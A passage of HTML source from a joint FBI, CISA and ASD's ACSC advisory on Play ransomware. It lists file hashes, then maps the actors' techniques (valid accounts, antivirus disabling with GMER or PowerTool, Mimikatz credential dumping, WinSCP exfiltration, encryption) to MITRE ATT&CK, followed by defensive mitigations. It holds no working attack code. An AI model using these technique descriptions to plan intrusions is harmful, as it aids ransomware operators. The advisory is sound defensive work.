  5877. &lt;p&gt;Play ransomware binary&lt;/p&gt;
  5878. &lt;/td&gt;
  5879. &lt;/tr&gt;
  5880. &lt;tr&gt;
  5881. &lt;td&gt;
  5882. &lt;p&gt;e8d5ad0bf292c42a9185bb1251c7e763d16614c180071b01da742972999b95da&lt;/p&gt;
  5883. &lt;/td&gt;
  5884. &lt;td&gt;
  5885. &lt;p&gt;Play ransomware binary&lt;/p&gt;
  5886. &lt;/td&gt;
  5887. &lt;/tr&gt;
  5888. &lt;/tbody&gt;
  5889. &lt;/table&gt;
  5890. &lt;h3&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK TACTICS AND TECHNIQUES&lt;/strong&gt;&lt;/h3&gt;
  5891. &lt;p&gt;See Table 3–Table 11 for all referenced threat actor tactics and techniques in this advisory.&lt;/p&gt;
  5892. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5893. &lt;caption&gt;&lt;em&gt;Table 3: Play ATT&amp;amp;CK Techniques for Enterprise for Initial Access&lt;/em&gt;&lt;/caption&gt;
  5894. &lt;thead&gt;
  5895. &lt;tr&gt;
  5896. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  5897. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  5898. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  5899. &lt;/tr&gt;
  5900. &lt;/thead&gt;
  5901. &lt;tbody&gt;
  5902. &lt;tr&gt;
  5903. &lt;td&gt;
  5904. &lt;p&gt;Valid Accounts&lt;/p&gt;
  5905. &lt;/td&gt;
  5906. &lt;td&gt;
  5907. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;&lt;/p&gt;
  5908. &lt;/td&gt;
  5909. &lt;td&gt;
  5910. &lt;p&gt;Play ransomware actors obtain and abuse existing account credentials to gain initial access.&lt;/p&gt;
  5911. &lt;/td&gt;
  5912. &lt;/tr&gt;
  5913. &lt;tr&gt;
  5914. &lt;td&gt;
  5915. &lt;p&gt;Exploit Public Facing Application&lt;/p&gt;
  5916. &lt;/td&gt;
  5917. &lt;td&gt;
  5918. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public Facing Application"&gt;T1190&lt;/a&gt;&lt;/p&gt;
  5919. &lt;/td&gt;
  5920. &lt;td&gt;
  5921. &lt;p&gt;Play ransomware actors exploit vulnerabilities in internet-facing systems to gain access to networks.&lt;/p&gt;
  5922. &lt;/td&gt;
  5923. &lt;/tr&gt;
  5924. &lt;tr&gt;
  5925. &lt;td&gt;
  5926. &lt;p&gt;External Remote Services&lt;/p&gt;
  5927. &lt;/td&gt;
  5928. &lt;td&gt;
  5929. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;&lt;/p&gt;
  5930. &lt;/td&gt;
  5931. &lt;td&gt;
  5932. &lt;p&gt;Play ransomware actors have used remote access services, such as RDP/VPN connection to gain initial access.&lt;/p&gt;
  5933. &lt;/td&gt;
  5934. &lt;/tr&gt;
  5935. &lt;/tbody&gt;
  5936. &lt;/table&gt;
  5937. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5938. &lt;caption&gt;&lt;em&gt;Table 4: Play ATT&amp;amp;CK Techniques for Enterprise for Discovery&lt;/em&gt;&lt;/caption&gt;
  5939. &lt;thead&gt;
  5940. &lt;tr&gt;
  5941. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  5942. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  5943. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  5944. &lt;/tr&gt;
  5945. &lt;/thead&gt;
  5946. &lt;tbody&gt;
  5947. &lt;tr&gt;
  5948. &lt;td&gt;
  5949. &lt;p&gt;System Network Configuration Discovery&lt;/p&gt;
  5950. &lt;/td&gt;
  5951. &lt;td&gt;
  5952. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1016/" title="System Network Configuration Discovery"&gt;T1016&lt;/a&gt;&lt;/p&gt;
  5953. &lt;/td&gt;
  5954. &lt;td&gt;
  5955. &lt;p&gt;Play ransomware actors use tools like Grixba to identify network configurations and settings.&lt;/p&gt;
  5956. &lt;/td&gt;
  5957. &lt;/tr&gt;
  5958. &lt;tr&gt;
  5959. &lt;td&gt;
  5960. &lt;p&gt;Software Discovery: Security Software Discovery&lt;/p&gt;
  5961. &lt;/td&gt;
  5962. &lt;td&gt;
  5963. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1518/001/" title="Software Discovery: Security Software Discovery"&gt;T1518.001&lt;/a&gt;&lt;/p&gt;
  5964. &lt;/td&gt;
  5965. &lt;td&gt;
  5966. &lt;p&gt;Play ransomware actors scan for anti-virus software.&lt;/p&gt;
  5967. &lt;/td&gt;
  5968. &lt;/tr&gt;
  5969. &lt;/tbody&gt;
  5970. &lt;/table&gt;
  5971. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  5972. &lt;caption&gt;&lt;em&gt;Table 5: Play ATT&amp;amp;CK Techniques for Enterprise for Defense Evasion&lt;/em&gt;&lt;/caption&gt;
  5973. &lt;thead&gt;
  5974. &lt;tr&gt;
  5975. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;Technique Title&lt;/th&gt;
  5976. &lt;th scope="col" role="columnheader"&gt;ID&lt;/th&gt;
  5977. &lt;th scope="col" role="columnheader"&gt;Use&lt;/th&gt;
  5978. &lt;/tr&gt;
  5979. &lt;/thead&gt;
  5980. &lt;tbody&gt;
  5981. &lt;tr&gt;
  5982. &lt;td&gt;
  5983. &lt;p&gt;Impair Defenses: Disable or Modify Tools&lt;/p&gt;
  5984. &lt;/td&gt;
  5985. &lt;td&gt;
  5986. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1562/001/" title="Impair Defenses: Disable or Modify Tools"&gt;T1562.001&lt;/a&gt;&lt;/p&gt;
  5987. &lt;/td&gt;
  5988. &lt;td&gt;
  5989. &lt;p&gt;Play ransomware actors use tools like GMER, IOBit, and PowerTool to disable anti-virus software.&lt;/p&gt;
  5990. &lt;/td&gt;
  5991. &lt;/tr&gt;
  5992. &lt;tr&gt;
  5993. &lt;td&gt;
  5994. &lt;p&gt;Indicator Removal: Clear Windows Event Logs&lt;/p&gt;
  5995. &lt;/td&gt;
  5996. &lt;td&gt;
  5997. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1070/001/" title="Indicator Removal: Clear Windows Event Logs"&gt;T1070.001&lt;/a&gt;&lt;/p&gt;
  5998. &lt;/td&gt;
  5999. &lt;td&gt;
  6000. &lt;p&gt;Play ransomware actors delete logs or other indicators of compromise to hide intrusion activity.&lt;/p&gt;
  6001. &lt;/td&gt;
  6002. &lt;/tr&gt;
  6003. &lt;/tbody&gt;
  6004. &lt;/table&gt;
  6005. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6006. &lt;caption&gt;&lt;em&gt;Table 6: Play ATT&amp;amp;CK Techniques for Enterprise for Credential Access&lt;/em&gt;&lt;/caption&gt;
  6007. &lt;thead&gt;
  6008. &lt;tr&gt;
  6009. &lt;td&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/td&gt;
  6010. &lt;td&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/td&gt;
  6011. &lt;td&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/td&gt;
  6012. &lt;/tr&gt;
  6013. &lt;/thead&gt;
  6014. &lt;tbody&gt;
  6015. &lt;tr&gt;
  6016. &lt;td&gt;
  6017. &lt;p&gt;Unsecured Credentials&lt;/p&gt;
  6018. &lt;/td&gt;
  6019. &lt;td&gt;
  6020. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/" title="Unsecured Credentials"&gt;T1552&lt;/a&gt;&lt;/p&gt;
  6021. &lt;/td&gt;
  6022. &lt;td&gt;
  6023. &lt;p&gt;Play ransomware actors attempt to identify and exploit credentials stored unsecurely on a compromised network.&lt;/p&gt;
  6024. &lt;/td&gt;
  6025. &lt;/tr&gt;
  6026. &lt;tr&gt;
  6027. &lt;td&gt;
  6028. &lt;p&gt;OS Credential Dumping&lt;/p&gt;
  6029. &lt;/td&gt;
  6030. &lt;td&gt;
  6031. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/" title="OS Credential Dumping"&gt;T1003&lt;/a&gt;&lt;/p&gt;
  6032. &lt;/td&gt;
  6033. &lt;td&gt;
  6034. &lt;p&gt;Play ransomware actors use tools like Mimikatz to dump credentials.&lt;/p&gt;
  6035. &lt;/td&gt;
  6036. &lt;/tr&gt;
  6037. &lt;/tbody&gt;
  6038. &lt;/table&gt;
  6039. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6040. &lt;caption&gt;&lt;em&gt;Table 7: Play ATT&amp;amp;CK Techniques for Enterprise for Lateral Movement&lt;/em&gt;&lt;/caption&gt;
  6041. &lt;thead&gt;
  6042. &lt;tr&gt;
  6043. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  6044. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  6045. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  6046. &lt;/tr&gt;
  6047. &lt;/thead&gt;
  6048. &lt;tbody&gt;
  6049. &lt;tr&gt;
  6050. &lt;td&gt;
  6051. &lt;p&gt;Lateral Tool Transfer&lt;/p&gt;
  6052. &lt;/td&gt;
  6053. &lt;td&gt;
  6054. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1570/" title="Lateral Tool Transfer"&gt;T1570&lt;/a&gt;&lt;/p&gt;
  6055. &lt;/td&gt;
  6056. &lt;td&gt;
  6057. &lt;p&gt;Play ransomware actors distribute executables within the compromised environment.&lt;/p&gt;
  6058. &lt;/td&gt;
  6059. &lt;/tr&gt;
  6060. &lt;/tbody&gt;
  6061. &lt;/table&gt;
  6062. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6063. &lt;caption&gt;&lt;em&gt;Table 8: Play ATT&amp;amp;CK Techniques for Enterprise for Command and Control&lt;/em&gt;&lt;/caption&gt;
  6064. &lt;thead&gt;
  6065. &lt;tr&gt;
  6066. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  6067. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  6068. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  6069. &lt;/tr&gt;
  6070. &lt;/thead&gt;
  6071. &lt;tbody&gt;
  6072. &lt;tr&gt;
  6073. &lt;td&gt;
  6074. &lt;p&gt;Domain Policy Modification: Group Policy Modification&lt;/p&gt;
  6075. &lt;/td&gt;
  6076. &lt;td&gt;
  6077. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1484/001/" title="Domain Policy Modification: Group Policy Modification"&gt;T1484.001&lt;/a&gt;&lt;/p&gt;
  6078. &lt;/td&gt;
  6079. &lt;td&gt;
  6080. &lt;p&gt;Play ransomware actors distribute executables via Group Policy Objects.&lt;/p&gt;
  6081. &lt;/td&gt;
  6082. &lt;/tr&gt;
  6083. &lt;/tbody&gt;
  6084. &lt;/table&gt;
  6085. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6086. &lt;caption&gt;&lt;em&gt;Table 9: Play ATT&amp;amp;CK Techniques for Enterprise for Collection&lt;/em&gt;&lt;/caption&gt;
  6087. &lt;thead&gt;
  6088. &lt;tr&gt;
  6089. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  6090. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  6091. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  6092. &lt;/tr&gt;
  6093. &lt;/thead&gt;
  6094. &lt;tbody&gt;
  6095. &lt;tr&gt;
  6096. &lt;td&gt;
  6097. &lt;p&gt;Archive Collected Data: Archive via Utility&lt;/p&gt;
  6098. &lt;/td&gt;
  6099. &lt;td&gt;
  6100. &lt;p&gt;&lt;u&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1560/001/" title="Archive Collected Data: Archive via Utility"&gt;T1560.001&lt;/a&gt;&lt;/u&gt;&lt;/p&gt;
  6101. &lt;/td&gt;
  6102. &lt;td&gt;
  6103. &lt;p&gt;Play ransomware actors use tools like WinRAR to compress files.&lt;/p&gt;
  6104. &lt;/td&gt;
  6105. &lt;/tr&gt;
  6106. &lt;/tbody&gt;
  6107. &lt;/table&gt;
  6108. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6109. &lt;caption&gt;&lt;em&gt;Table 10: Play ATT&amp;amp;CK Techniques for Enterprise for Exfiltration&lt;/em&gt;&lt;/caption&gt;
  6110. &lt;thead&gt;
  6111. &lt;tr&gt;
  6112. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  6113. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  6114. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  6115. &lt;/tr&gt;
  6116. &lt;/thead&gt;
  6117. &lt;tbody&gt;
  6118. &lt;tr&gt;
  6119. &lt;td&gt;
  6120. &lt;p&gt;Exfiltration Over Alternative Protocol&lt;/p&gt;
  6121. &lt;/td&gt;
  6122. &lt;td&gt;
  6123. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1048/" title="Exfiltration Over Alternative Protocol"&gt;T1048&lt;/a&gt;&lt;/p&gt;
  6124. &lt;/td&gt;
  6125. &lt;td&gt;
  6126. &lt;p&gt;Play ransomware actors use file transfer tools like WinSCP to transfer data.&lt;/p&gt;
  6127. &lt;/td&gt;
  6128. &lt;/tr&gt;
  6129. &lt;/tbody&gt;
  6130. &lt;/table&gt;
  6131. &lt;table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap&gt;
  6132. &lt;caption&gt;&lt;em&gt;Table 11: Play ATT&amp;amp;CK Techniques for Enterprise for Impact&lt;/em&gt;&lt;/caption&gt;
  6133. &lt;thead&gt;
  6134. &lt;tr&gt;
  6135. &lt;th scope="col" role="columnheader" data-tablesaw-priority="persist"&gt;&lt;strong&gt;Technique Title&lt;/strong&gt;&lt;/th&gt;
  6136. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;ID&lt;/strong&gt;&lt;/th&gt;
  6137. &lt;th scope="col" role="columnheader"&gt;&lt;strong&gt;Use&lt;/strong&gt;&lt;/th&gt;
  6138. &lt;/tr&gt;
  6139. &lt;/thead&gt;
  6140. &lt;tbody&gt;
  6141. &lt;tr&gt;
  6142. &lt;td&gt;
  6143. &lt;p&gt;Data Encrypted for Impact&lt;/p&gt;
  6144. &lt;/td&gt;
  6145. &lt;td&gt;
  6146. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1486/" title="Data Encrypted for Impact"&gt;T1486&lt;/a&gt;&lt;/p&gt;
  6147. &lt;/td&gt;
  6148. &lt;td&gt;
  6149. &lt;p&gt;Play ransomware actors encrypt data on target systems to interrupt availability to system and network resources.&lt;/p&gt;
  6150. &lt;/td&gt;
  6151. &lt;/tr&gt;
  6152. &lt;tr&gt;
  6153. &lt;td&gt;
  6154. &lt;p&gt;Financial Theft&lt;/p&gt;
  6155. &lt;/td&gt;
  6156. &lt;td&gt;
  6157. &lt;p&gt;&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1657/" title="Financial Theft"&gt;T1657&lt;/a&gt;&lt;/p&gt;
  6158. &lt;/td&gt;
  6159. &lt;td&gt;
  6160. &lt;p&gt;Play ransomware actors use a double-extortion model for financial gain.&lt;/p&gt;
  6161. &lt;/td&gt;
  6162. &lt;/tr&gt;
  6163. &lt;/tbody&gt;
  6164. &lt;/table&gt;
  6165. &lt;h3&gt;&lt;strong&gt;MITIGATIONS&lt;/strong&gt;&lt;/h3&gt;
  6166. &lt;p&gt;These mitigations apply to all critical infrastructure organizations and network defenders. The FBI, CISA, and ASD’s ACSC recommend that software manufacturers incorporate secure-by-design and -default principles and tactics into their software development practices to limit the impact of ransomware techniques (such as threat actors leveraging backdoor vulnerabilities into remote software systems), thus, strengthening the security posture for their customers.&lt;br&gt;&lt;br&gt;
  6167. For more information on secure by design, see CISA’s &lt;a href="https://www.cisa.gov/securebydesign" title="Secure by Design"&gt;Secure by Design and Default&lt;/a&gt; webpage and &lt;a href="https://www.cisa.gov/resources-tools/resources/secure-by-design" title="Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software"&gt;joint guide&lt;/a&gt;.&lt;/p&gt;
  6168. &lt;p&gt;The FBI, CISA, and ASD’s ACSC recommend organizations apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by Play ransomware. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s &lt;a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="Cross-Sector Cybersecurity Performance Goals"&gt;Cross-Sector Cybersecurity Performance Goals&lt;/a&gt; for more information on the CPGs, including additional recommended baseline protections.&lt;/p&gt;
  6169. &lt;ul&gt;
  6170. &lt;li&gt;&lt;strong&gt;Implement a recovery plan&lt;/strong&gt; to maintain and retain multiple copies of sensitive or proprietary data and servers [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.F, 2.R, 2.S&lt;/a&gt;] in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).&lt;/li&gt;
  6171. &lt;li&gt;&lt;strong&gt;Require all accounts&lt;/strong&gt; with password logins (e.g., service account, admin accounts, and domain admin accounts) &lt;strong&gt;to comply&lt;/strong&gt; with NIST’s &lt;a href="https://pages.nist.gov/800-63-3/" title="Digital Identity Guidelines"&gt;standards&lt;/a&gt; for developing and managing password policies [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.C&lt;/a&gt;].
  6172. &lt;ul&gt;
  6173. &lt;li&gt;Use longer passwords consisting of at least 8 characters and no more than 64 characters in length [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.B&lt;/a&gt;];&lt;/li&gt;
  6174. &lt;li&gt;Store passwords in hashed format using industry-recognized password managers;&lt;/li&gt;
  6175. &lt;li&gt;Add password user “salts” to shared login credentials;&lt;/li&gt;
  6176. &lt;li&gt;Avoid reusing passwords;&lt;/li&gt;
  6177. &lt;li&gt;Implement multiple failed login attempt account lockouts [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.G&lt;/a&gt;];&lt;/li&gt;
  6178. &lt;li&gt;Disable password “hints”;&lt;/li&gt;
  6179. &lt;li&gt;Refrain from requiring password changes more frequently than once per year.&lt;br&gt;&lt;br&gt;
  6180. &lt;strong&gt;Note:&lt;/strong&gt; NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher.&lt;/li&gt;
  6181. &lt;li&gt;Require administrator credentials to install software.&lt;/li&gt;
  6182. &lt;/ul&gt;
  6183. &lt;/li&gt;
  6184. &lt;li&gt;&lt;strong&gt;Require multifactor authentication&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.H&lt;/a&gt;] for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems. Also see &lt;a href="https://www.cyber.gov.au/protect-yourself/resources-protect-yourself/personal-security-guides/protect-yourself-multi-factor-authentication" title="Protect Yourself: Multi-Factor Authentication"&gt;Protect Yourself: Multi-Factor Authentication | Cyber.gov.au&lt;/a&gt;.&lt;/li&gt;
  6185. &lt;li&gt;&lt;strong&gt;Keep all operating systems, software, and firmware up to date.&lt;/strong&gt; Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching &lt;a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog"&gt;known exploited vulnerabilities&lt;/a&gt; in internet-facing systems [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 1.E&lt;/a&gt;]. Organizations are advised to deploy the latest Microsoft Exchange security updates. If unable to patch, then disable Outlook Web Access (OWA) until updates are able to be undertaken. Also see &lt;a href="https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/system-administration/patching-applications-and-operating-systems" title="Patching Applications and Operating Systems"&gt;Patching Applications and Operating Systems | Cyber.gov.au&lt;/a&gt;.&lt;/li&gt;
  6186. &lt;li&gt;&lt;strong&gt;Segment networks&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.F&lt;/a&gt;] to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement. Also see &lt;a href="https://www.cyber.gov.au/resources-business-and-government/maintaining-devices-and-systems/system-hardening-and-administration/network-hardening/implementing-network-segmentation-and-segregation" title="Implementing Network Segmentation and Segregation"&gt;Implementing Network Segmentation and Segregation&lt;/a&gt;.&lt;/li&gt;
  6187. &lt;li&gt;&lt;strong&gt;Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware&lt;/strong&gt; with a networking monitoring tool. To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 1.E&lt;/a&gt;]. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host.&lt;/li&gt;
  6188. &lt;li&gt;&lt;strong&gt;Filter network traffic &lt;/strong&gt;by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents actors from directly connecting to remote access services they have established for persistence. Also see &lt;a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering/" title="Network Traffic Filtering"&gt;Inbound Traffic Filtering – Technique D3-ITF&lt;/a&gt;.&lt;/li&gt;
  6189. &lt;li&gt;&lt;strong&gt;Install, regularly update, and enable real time detection for antivirus software&lt;/strong&gt; on all hosts.&lt;/li&gt;
  6190. &lt;li&gt;&lt;strong&gt;Review domain controllers, servers, workstations, and active directories&lt;/strong&gt; for new and/or unrecognized accounts [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 1.A, 2.O&lt;/a&gt;].&lt;/li&gt;
  6191. &lt;li&gt;&lt;strong&gt;Audit user accounts&lt;/strong&gt; with administrative privileges and configure access controls according to the principle of least privilege [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.E&lt;/a&gt;].&lt;/li&gt;
  6192. &lt;li&gt;&lt;strong&gt;Disable unused&lt;/strong&gt; &lt;strong&gt;ports &lt;/strong&gt;[&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.V&lt;/a&gt;].&lt;/li&gt;
  6193. &lt;li&gt;&lt;strong&gt;Consider adding an email banner to emails&lt;/strong&gt; [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.M&lt;/a&gt;] received from outside your organization.&lt;/li&gt;
  6194. &lt;li&gt;&lt;strong&gt;Disable hyperlinks&lt;/strong&gt; in received emails.&lt;/li&gt;
  6195. &lt;li&gt;&lt;strong&gt;Implement time-based access for accounts set at the admin level and higher.&lt;/strong&gt; For example, the just-in-time (JIT) access method provisions privileged access when needed and can support enforcement of the principle of least privilege (as well as the &lt;a href="https://www.cisa.gov/zero-trust-maturity-model" title="Zero Trust Maturity Model"&gt;Zero Trust model&lt;/a&gt;). This is a process where a network-wide policy is set in place to automatically disable admin accounts at the Active Directory level when the account is not in direct need. Individual users may submit their requests through an automated process that grants them access to a specified system for a set timeframe when they need to support the completion of a certain task.&lt;/li&gt;
  6196. &lt;li&gt;&lt;strong&gt;Disable command-line and scripting activities and permissions.&lt;/strong&gt; Privileged escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.E&lt;/a&gt;].&lt;/li&gt;
  6197. &lt;li&gt;&lt;strong&gt;Maintain offline backups of data&lt;/strong&gt; and regularly maintain backup and restoration [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.R&lt;/a&gt;]. By instituting this practice, an organization ensures they will not be severely interrupted, and/or only have irretrievable data.&lt;/li&gt;
  6198. &lt;li&gt;&lt;strong&gt;Ensure backup data is encrypted, immutable &lt;/strong&gt;(i.e., cannot be altered or deleted), and covers the entire organization’s data infrastructure [&lt;a href="https://www.cisa.gov/resources-tools/resources/cpg-report" title="Cross-Sector Cybersecurity Performance Goals March 2023 Update"&gt;CPG 2.K&lt;/a&gt;].&lt;/li&gt;
  6199. &lt;/ul&gt;
  6200. &lt;h3&gt;&lt;strong&gt;VALIDATE SECURITY CONTROLS&lt;/strong&gt;&lt;/h3&gt;
  6201. &lt;p&gt;In addition to applying mitigations, the FBI, CISA, and ASD’s ACSC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&amp;amp;CK for Enterprise framework in this advisory. The FBI, CISA, and ASD’s ACSC recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;amp;CK techniques described in this advisory.&lt;/p&gt;
  6202. &lt;p&gt;To get started:&lt;/p&gt;
  6203. &lt;ol&gt;
  6204. &lt;li&gt;Select an ATT&amp;amp;CK technique described in this advisory (see Tables 3-11).&lt;/li&gt;
  6205. &lt;li&gt;Align your security technologies against this technique.&lt;/li&gt;
  6206. &lt;li&gt;Test your technologies against this technique.&lt;/li&gt;
  6207. &lt;li&gt;Analyze your detection and prevention technologies performance.&lt;/li&gt;
  6208. &lt;li&gt;Repeat the process for all security technologies to obtain a set of comprehensive performance data.&lt;/li&gt;
  6209. &lt;li&gt;Tune your security program, including people, processes, and technologies, based on the data generated by this process.&lt;/li&gt;
  6210. &lt;/ol&gt;
  6211. &lt;p&gt;The FBI, CISA, and ASD’s ACSC recommend continually testing your security program at scale and in a production environment to ensure optimal performance against the MITRE ATT&amp;amp;CK techniques identified in this advisory.&lt;/p&gt;
  6212. &lt;h3&gt;&lt;strong&gt;RESOURCES&lt;/strong&gt;&lt;/h3&gt;
  6213. &lt;ul&gt;
  6214. &lt;li&gt;&lt;a href="https://www.stopransomware.gov/" title="#StopRansomware"&gt;Stopransomware.gov&lt;/a&gt; is a whole-of-government approach that gives one central location for ransomware resources and alerts.&lt;/li&gt;
  6215. &lt;li&gt;Resource to mitigate a ransomware attack: &lt;a href="https://www.cisa.gov/resources-tools/resources/stopransomware-guide" title="#StopRansomware Guide"&gt;#StopRansomware Guide&lt;/a&gt;.&lt;/li&gt;
